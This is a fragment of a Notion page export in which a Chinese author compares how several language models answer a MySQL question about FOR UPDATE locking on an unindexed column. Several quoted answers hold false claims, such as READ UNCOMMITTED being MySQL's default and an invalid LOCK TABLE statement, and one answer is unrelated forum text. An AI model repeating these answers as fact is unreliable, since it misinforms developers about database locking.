f-e99e-4a8e-b080-f3948a289de8":{"value":{"id":"24e1ffff-e99e-4a8e-b080-f3948a289de8","type":"bulleted_list","properties":{"title":[["支持为每一个会话指定特殊的模型"]]},"created_time":1711431972909,"last_edited_time":1711431999240,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"0b1e06e4-21a7-4f20-b95c-dd39c9232d8e":{"value":{"id":"0b1e06e4-21a7-4f20-b95c-dd39c9232d8e","type":"image","properties":{"size":[["55.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/57a953d1-aa3b-4836-b7de-fa0eb70300f9/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/57a953d1-aa3b-4836-b7de-fa0eb70300f9/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6438709677419355,"block_preserve_scale":true},"created_time":1711432011414,"last_edited_time":1711432015041,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"file_ids":["57a953d1-aa3b-4836-b7de-fa0eb70300f9"]}},"d52f61a6-9530-45cf-8e55-5822170d7448":{"value":{"id":"d52f61a6-9530-45cf-8e55-5822170d7448","type":"header","properties":{"title":[["模型对比"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711431627441,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"5efbbd51-23a0-4cc2-b034-3da0b79430f7":{"value":{"id":"5efbbd51-23a0-4cc2-b034-3da0b79430f7","type":"sub_header","properties":{"title":[["promot&question"]]},"created_time":1711431666810,"last_edited_time":1711431693171,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"3fee6369-f3e1-4e3e-b833-b1f24a8acf97":{"value":{"id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","type":"quote","properties":{"title":[["promot:"]]},"content":["f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9","3c5a4d3b-35b4-45cd-89a6-36019aef8fe9","765c2ea5-38db-401e-b852-a981010c0f96"],"created_time":1711432078852,"last_edited_time":1711432097278,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9":{"value":{"id":"f8f42a19-b2fc-45dd-a16f-7eb56a1f35e9","type":"text","properties":{"title":[["你是一个高级软件工程师,你需要帮我解答各种技术难题、设计技术方案以及编写代码。你编写的代码必须可以正常运行,而且没有任何 Bug 和其他问题。如果你的回答中用代码,请用 markdown 代码块,并且在代码块中标明使用的编程语言。\n\nquestion:"]]},"created_time":1711432082528,"last_edited_time":1711432099043,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"3c5a4d3b-35b4-45cd-89a6-36019aef8fe9":{"value":{"id":"3c5a4d3b-35b4-45cd-89a6-36019aef8fe9","type":"text","properties":{"title":[["select * from t where c=5 for update;"]]},"created_time":1711432097276,"last_edited_time":1711432097278,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"765c2ea5-38db-401e-b852-a981010c0f96":{"value":{"id":"765c2ea5-38db-401e-b852-a981010c0f96","type":"text","properties":{"title":[["but c not index,tell me the process of locking\nand the time of release lock"]]},"created_time":1711432097276,"last_edited_time":1711432097278,"parent_id":"3fee6369-f3e1-4e3e-b833-b1f24a8acf97","parent_table":"block","alive":true}},"d47a618f-cf90-4bc4-9557-6424452366d4":{"value":{"id":"d47a618f-cf90-4bc4-9557-6424452366d4","type":"sub_header","properties":{"title":[["openai:3.5"]]},"created_time":1711361547854,"last_edited_time":1711431700585,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"3b8b9cc1-9b38-4a3e-ab5a-56578873df3e":{"value":{"id":"3b8b9cc1-9b38-4a3e-ab5a-56578873df3e","type":"text","properties":{"title":[["When you run a query like "],["SELECT * FROM t WHERE c=5 FOR UPDATE;",[["c"]]],[" in MySQL on a column "],["c",[["c"]]],[" that is not indexed, MySQL will perform a full table scan to find the rows that match the condition "],["c=5",[["c"]]],[". During this process, MySQL will acquire a shared lock on all the rows it reads to prevent other transactions from modifying them."]]},"created_time":1711361625622,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"74300add-803e-4d7c-8304-a821a5d5ab2c":{"value":{"id":"74300add-803e-4d7c-8304-a821a5d5ab2c","type":"text","properties":{"title":[["Here is the general process of locking and the time of releasing the lock:"]]},"created_time":1711361625624,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"8976a6ea-02cb-4bf3-a518-053203e7e9c1":{"value":{"id":"8976a6ea-02cb-4bf3-a518-053203e7e9c1","type":"numbered_list","properties":{"title":[["Shared (Read) Lock",[["b"]]],[": MySQL will acquire a shared (read) lock on the rows that match the condition "],["c=5",[["c"]]],[". This lock allows other transactions to read the locked rows but prevents them from modifying them."]]},"created_time":1711361625625,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422":{"value":{"id":"f5d8c5c4-1f5d-4a4d-8fd8-5c30e378c422","type":"numbered_list","properties":{"title":[["Exclusive (Write) Lock",[["b"]]],[": When you use "],["FOR UPDATE",[["c"]]],[" in your query, MySQL will upgrade the shared lock to an exclusive (write) lock on the matched rows. This exclusive lock prevents other transactions from both reading and writing to the locked rows until the transaction is either committed or rolled back."]]},"created_time":1711361625626,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb":{"value":{"id":"a97f0dde-a2f1-4dfa-8a56-f27c4f9396fb","type":"numbered_list","properties":{"title":[["Time of Releasing Lock",[["b"]]],[": The lock acquired using "],["FOR UPDATE",[["c"]]],[" will be released when the current transaction is either committed or rolled back. If the transaction is rolled back, the lock will be released immediately. If the transaction is committed, the exclusive locks will be released at the end of the transaction."]]},"created_time":1711361625627,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"eb3dc7f4-4bfd-454f-b935-cde5ab908c41":{"value":{"id":"eb3dc7f4-4bfd-454f-b935-cde5ab908c41","type":"text","properties":{"title":[["It's important to note that locking behavior can vary depending on the isolation level of the transaction and the specific MySQL configuration settings. Additionally, using "],["FOR UPDATE",[["c"]]],[" without an index on the column can lead to performance issues, especially on large tables, as it may result in full table scans and increased locking contention. Consider adding an index on column "],["c",[["c"]]],[" if this query is frequently used for better performance."]]},"created_time":1711361625627,"last_edited_time":1711361625643,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"c713c08c-2d0b-4eb1-8817-71fec58212ef":{"value":{"id":"c713c08c-2d0b-4eb1-8817-71fec58212ef","type":"sub_header","properties":{"title":[["mistral:7b"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711431703334,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"bbe523e1-53a1-45de-af58-03a940f59e85":{"value":{"id":"bbe523e1-53a1-45de-af58-03a940f59e85","type":"text","properties":{"title":[["Based on your SQL query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", it seems you are working with MySQL or a similar database management system. In this context, let's discuss the process of obtaining and releasing locks in relation to this query."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"4bcc27a3-8629-411b-be7a-75aea797e1ed":{"value":{"id":"4bcc27a3-8629-411b-be7a-75aea797e1ed","type":"text","properties":{"title":[["When you execute the query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", the database engine acquires a lock on the record(s) with column 'c' equal to 5, preventing other transactions from reading or updating those records until the current transaction is committed or rolled back. This process ensures data consistency and concurrency control."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9a6f7759-0331-4d60-95e2-dc10c6cb87bd":{"value":{"id":"9a6f7759-0331-4d60-95e2-dc10c6cb87bd","type":"text","properties":{"title":[["The actual time of obtaining a lock depends on various factors such as network latency, server workload, and database configuration. Generally, it's considered to be an instantaneous operation once the query execution reaches that point. However, keep in mind that the actual query processing time and network transfer time might add significant delay."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"da1b112d-857e-4b6f-bf49-b7f5208b24e4":{"value":{"id":"da1b112d-857e-4b6f-bf49-b7f5208b24e4","type":"text","properties":{"title":[["As for releasing the lock, it happens automatically when the current transaction is committed or rolled back. Once the transaction has been finalized, the database engine releases the locks on the corresponding records, making them available to other transactions again."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"87c6e6a2-d2e3-4a18-8637-efe4abd4560f":{"value":{"id":"87c6e6a2-d2e3-4a18-8637-efe4abd4560f","type":"text","properties":{"title":[["Here's a simplified overview of the process:"]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28":{"value":{"id":"2c28bfde-eb25-4e7a-a2c1-3c12dcb72f28","type":"numbered_list","properties":{"title":[["The query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[" is executed."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9a7a6897-3dfa-4aa8-9636-234b3c0b6548":{"value":{"id":"9a7a6897-3dfa-4aa8-9636-234b3c0b6548","type":"numbered_list","properties":{"title":[["The database engine locates the record(s) with 'c' equal to 5 and acquires a lock on them."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"58fecf87-6dcf-43db-a9c7-538f413796f7":{"value":{"id":"58fecf87-6dcf-43db-a9c7-538f413796f7","type":"numbered_list","properties":{"title":[["Once the query has finished processing those records, the transaction is committed or rolled back."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"68f363f2-b183-4280-9abb-eab957c3db38":{"value":{"id":"68f363f2-b183-4280-9abb-eab957c3db38","type":"numbered_list","properties":{"title":[["If the transaction is committed, the locks are released and made available for other transactions."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91":{"value":{"id":"412d0b21-bcfe-40d4-8fb7-a69d9bdb7c91","type":"numbered_list","properties":{"title":[["If the transaction is rolled back, the locks are also released but any changes made during the transaction are discarded."]]},"created_time":1711431477509,"last_edited_time":1711431477515,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"7e5fed0f-7e6c-4eb0-957b-af7e801e764e":{"value":{"id":"7e5fed0f-7e6c-4eb0-957b-af7e801e764e","type":"sub_header","properties":{"title":[["llama2:4b"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711361049479,"last_edited_time":1711361567824,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f8a5c31e-aaeb-4215-bece-5545539ec80b":{"value":{"id":"f8a5c31e-aaeb-4215-bece-5545539ec80b","type":"text","properties":{"title":[["As a high-level software engineer, I'd be happy to help you with your question."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e2239195-971a-4985-8fac-5b9ea90996c0":{"value":{"id":"e2239195-971a-4985-8fac-5b9ea90996c0","type":"text","properties":{"title":[["The query "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[" is a common mechanism for acquiring a row-level lock on a table "],["t",[["c"]]],[" for the specified condition "],["c = 5",[["c"]]],[". When this query is executed, it will acquire an exclusive lock on the rows that match the condition, preventing any other concurrent updates or reads from accessing those rows until the lock is released."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"44061d98-d405-487a-b2a4-078279d3d999":{"value":{"id":"44061d98-d405-487a-b2a4-078279d3d999","type":"text","properties":{"title":[["The process of locking in this case involves the following steps:"]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"702ec273-b848-45ae-9fab-0e7e445b8470":{"value":{"id":"702ec273-b848-45ae-9fab-0e7e445b8470","type":"numbered_list","properties":{"title":[["The query is executed and a lock is acquired on the relevant rows."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e8a8f505-3549-4ded-a263-991f5462efb2":{"value":{"id":"e8a8f505-3549-4ded-a263-991f5462efb2","type":"numbered_list","properties":{"title":[["The lock is held by the thread that executed the query, preventing any other threads from acquiring the same lock until it is released."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"42700ae9-2627-40a2-9d1d-f9ed715ab0dc":{"value":{"id":"42700ae9-2627-40a2-9d1d-f9ed715ab0dc","type":"numbered_list","properties":{"title":[["The lock is released when the thread that executed the query completes its work and no longer needs the lock."]]},"created_time":1711431486623,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"a28dd66e-5a77-4dfe-815b-474c1e36c0fb":{"value":{"id":"a28dd66e-5a77-4dfe-815b-474c1e36c0fb","type":"numbered_list","properties":{"title":[["Other threads can then acquire the lock and update or read the rows that were previously locked."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"c48d0617-98e9-4c69-8225-a3fc30c3d5b4":{"value":{"id":"c48d0617-98e9-4c69-8225-a3fc30c3d5b4","type":"text","properties":{"title":[["The time of release lock depends on various factors, including the operating system, hardware, and database configuration. In general, the lock is released when the thread that executed the query completes its work and no longer needs the lock. This can happen immediately after the query is executed, or it may take some time depending on the complexity of the task and the availability of resources."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"97118fdd-3e4d-4a05-8d1f-d4a942831683":{"value":{"id":"97118fdd-3e4d-4a05-8d1f-d4a942831683","type":"text","properties":{"title":[["In MySQL, the default isolation level is "],["READ UNCOMMITTED",[["c"]]],[", which means that locks are acquired using the "],["FOR UPDATE",[["c"]]],[" clause. This allows other threads to read the rows while the first thread is updating them, but it does not guarantee that the second thread will see the updates made by the first thread before committing its changes."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"29619cb8-1036-4c56-ad1d-44078669c26b":{"value":{"id":"29619cb8-1036-4c56-ad1d-44078669c26b","type":"text","properties":{"title":[["If you want to acquire a lock on a specific row or set of rows without using the "],["FOR UPDATE",[["c"]]],[" clause, you can use the "],["LOCK TABLE",[["c"]]],[" statement in MySQL. This statement allows you to acquire an exclusive lock on a table for a specified period of time, preventing any other threads from accessing the table during that time."]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9b400751-4342-4a08-b4a4-df5993d548f1":{"value":{"id":"9b400751-4342-4a08-b4a4-df5993d548f1","type":"text","properties":{"title":[["Here is an example of how to use "],["LOCK TABLE",[["c"]]],[" to acquire a lock on a specific row:"]]},"created_time":1711431486624,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"36ff61ac-481c-4f1f-9f17-6966b6e9789e":{"value":{"id":"36ff61ac-481c-4f1f-9f17-6966b6e9789e","type":"code","properties":{"title":[["LOCK TABLE t FOR UPDATE OF c WHERE id = 5;\n"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"aac21867-aa33-4037-93e3-03b5f0ca84f9":{"value":{"id":"aac21867-aa33-4037-93e3-03b5f0ca84f9","type":"text","properties":{"title":[["This will acquire an exclusive lock on the row with "],["id = 5",[["c"]]],[" in the table "],["t",[["c"]]],[", preventing any other threads from updating or reading that row until the lock is released."]]},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"2834c258-d3b3-48ce-9e95-8a21b18053f8":{"value":{"id":"2834c258-d3b3-48ce-9e95-8a21b18053f8","type":"text","properties":{"title":[["Note that the "],["LOCK TABLE",[["c"]]],[" statement can be used to acquire locks on multiple rows or tables, and it can also be used to acquire locks for longer periods of time than the default isolation level. However, it is important to use this statement judiciously and only when necessary to avoid contention and deadlocks."]]},"created_time":1711431486631,"last_edited_time":1711431486635,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"6e0e38e9-7774-4f49-9fbb-67e52a21593d":{"value":{"id":"6e0e38e9-7774-4f49-9fbb-67e52a21593d","type":"sub_header","properties":{"title":[["starcoder2:15b"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711361049703,"last_edited_time":1711431711891,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2":{"value":{"id":"61c6bed7-36e1-43d5-bdc1-c281e9fcbdb2","type":"text","properties":{"title":[["thank youusername_1: You are looking for a tool called "],["VisualVM",[["a","http://visualvm.java.net/"]]],[". It is part of the JDK and it allows you to connect to running java applications and view their memory consumption, threads etc.\nUpvotes: 2 username_2: Have a look at the Eclipse Memory Analyzer (MAT) plugin ("],["http://www.eclipse.org/mat/",[["a","http://www.eclipse.org/mat/"]]],["), there's a video that shows how to use it: "],["http://vimeo.com/7698540",[["a","http://vimeo.com/7698540"]]],["\nUpvotes: 3 [selected_answer]username_3: I like JProfiler for this kind of thing. It has a very intuitive GUI and gives you the information you need in a way that makes sense."]]},"created_time":1711431499545,"last_edited_time":1711431499547,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"926cfd3e-8b8e-4b25-b780-3aedf4064879":{"value":{"id":"926cfd3e-8b8e-4b25-b780-3aedf4064879","type":"text","properties":{"title":[["http://www.ej-technologies.com/products/jprofiler/overview.html",[["a","http://www.ej-technologies.com/products/jprofiler/overview.html"]]],["\nUpvotes: 1 username_4: I have found "],["JProfiler",[["a","http://www.ej-technologies.com/"]]],[" to be very useful for this. It has a nice UI and is easy to use.\nUpvotes: 0"]]},"created_time":1711431499545,"last_edited_time":1711431499547,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"9d06ce11-437e-4aef-8661-c6551d358cf5":{"value":{"id":"9d06ce11-437e-4aef-8661-c6551d358cf5","type":"sub_header","properties":{"title":[["llama2:13b"]]},"created_time":1711361530044,"last_edited_time":1711431714948,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"eecdbd14-19a7-4050-ab78-a5c5044e1336":{"value":{"id":"eecdbd14-19a7-4050-ab78-a5c5044e1336","type":"text","properties":{"title":[["Ah, I see! You're trying to understand the locking mechanism in MySQL when using the "],["FOR UPDATE",[["c"]]],[" clause. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"202e55b5-762e-4ef1-90b0-2cc0ae26a99b":{"value":{"id":"202e55b5-762e-4ef1-90b0-2cc0ae26a99b","type":"text","properties":{"title":[["When you execute a query like "],["SELECT * FROM t WHERE c = 5 FOR UPDATE",[["c"]]],[", MySQL acquires a lock on the rows that match the condition "],["c = 5",[["c"]]],[". This lock is called an \"X-lock\" or \"exclusive lock,\" which means that no other session can modify those rows until the current session releases the lock. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"995338cf-4874-48b5-a462-ea834bd6b31b":{"value":{"id":"995338cf-4874-48b5-a462-ea834bd6b31b","type":"text","properties":{"title":[["The locking mechanism in MySQL is based on the InnoDB storage engine, which uses a technique called \"pessimistic locking.\" This means that when a session wants to acquire a lock on a row, it first checks whether the row is already locked by another session. If the row is not locked, the session acquires the lock and prevents other sessions from acquiring the same lock until it releases the lock. 🔒"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"bd7b81b2-82bd-4a81-950c-37ebef55f856":{"value":{"id":"bd7b81b2-82bd-4a81-950c-37ebef55f856","type":"text","properties":{"title":[["Now, to answer your questions:"]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"009e62c7-e513-4e3e-a0bb-731c95f0d22a":{"value":{"id":"009e62c7-e513-4e3e-a0bb-731c95f0d22a","type":"numbered_list","properties":{"title":[["The process of locking: When a session executes a query with the "],["FOR UPDATE",[["c"]]],[" clause, MySQL first checks whether the rows that match the condition are already locked by another session. If the rows are not locked, the current session acquires the lock and prevents other sessions from acquiring the same lock until it releases the lock."]]},"created_time":1711431505871,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"8b44dcb2-d944-4983-9c68-ff1d8e23825b":{"value":{"id":"8b44dcb2-d944-4983-9c68-ff1d8e23825b","type":"numbered_list","properties":{"title":[["The time of release lock: When a session releases the lock on a row or set of rows, the lock is immediately released, and other sessions can then acquire the lock again. There is no specific \"time of release\" for locks in MySQL; instead, the lock is released as soon as the current session commits or rolls back the transaction. 🔒"]]},"created_time":1711431505872,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"f9d3a393-9d76-4add-88b5-3f03e58614af":{"value":{"id":"f9d3a393-9d76-4add-88b5-3f03e58614af","type":"text","properties":{"title":[["I hope this helps clarify the locking mechanism in MySQL! Let me know if you have any other questions or concerns. 😊"]]},"created_time":1711431505872,"last_edited_time":1711431505874,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"440e5ba9-2309-4223-9df2-50ca1b67e237":{"value":{"id":"440e5ba9-2309-4223-9df2-50ca1b67e237","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711360982676,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"04273a50-0752-4c70-a1c5-d63b004d565a":{"value":{"id":"04273a50-0752-4c70-a1c5-d63b004d565a","type":"bulleted_list","properties":{"title":[["llama2效果不错,starcoder2不知所云"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833151,"last_edited_time":1711431747530,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"58f477d0-e338-4fe8-9cf2-e0a3264bf5cf":{"value":{"id":"58f477d0-e338-4fe8-9cf2-e0a3264bf5cf","type":"bulleted_list","properties":{"title":[["m1pro+32g环境下,4b模型在本地运行速度还可以,15b运行起来就特别吃力"]]},"created_time":1711432113232,"last_edited_time":1711432147190,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true}},"e1da917b-bb71-4252-9f5f-d1c997b18551":{"value":{"id":"e1da917b-bb71-4252-9f5f-d1c997b18551","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"9e9a91b1-4853-4e82-be32-ac8af17739b0":{"value":{"id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","type":"column_list","content":["efee572a-8601-404e-9dfb-74c4f2f669bc","3147a22c-843a-46c3-a4d0-89eb62b6bd7e","d8150945-8bbf-4df1-8e0e-dea8d8f5e04e"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"e8fd9138-663d-415d-9684-24343fb3248f","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"efee572a-8601-404e-9dfb-74c4f2f669bc":{"value":{"id":"efee572a-8601-404e-9dfb-74c4f2f669bc","type":"column","content":["4d04175f-a93b-49b6-a609-74961770136f"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"3147a22c-843a-46c3-a4d0-89eb62b6bd7e":{"value":{"id":"3147a22c-843a-46c3-a4d0-89eb62b6bd7e","type":"column","content":["1fe1e95a-cd49-421a-b7a7-916a18f2655d","17ce2e3c-f255-464e-8b1d-64ab9c7648c3"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e":{"value":{"id":"d8150945-8bbf-4df1-8e0e-dea8d8f5e04e","type":"column","content":["57be63c6-8825-4b09-ab16-3014cdee1119"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"9e9a91b1-4853-4e82-be32-ac8af17739b0","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"4d04175f-a93b-49b6-a609-74961770136f":{"value":{"id":"4d04175f-a93b-49b6-a609-74961770136f","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1711360833152,"last_edited_time":1711360833152,"parent_id":"efee572a-8601-404e-9dfb-74c4f2f669bc","parent_table":"block","alive":true,"copied_from":"9793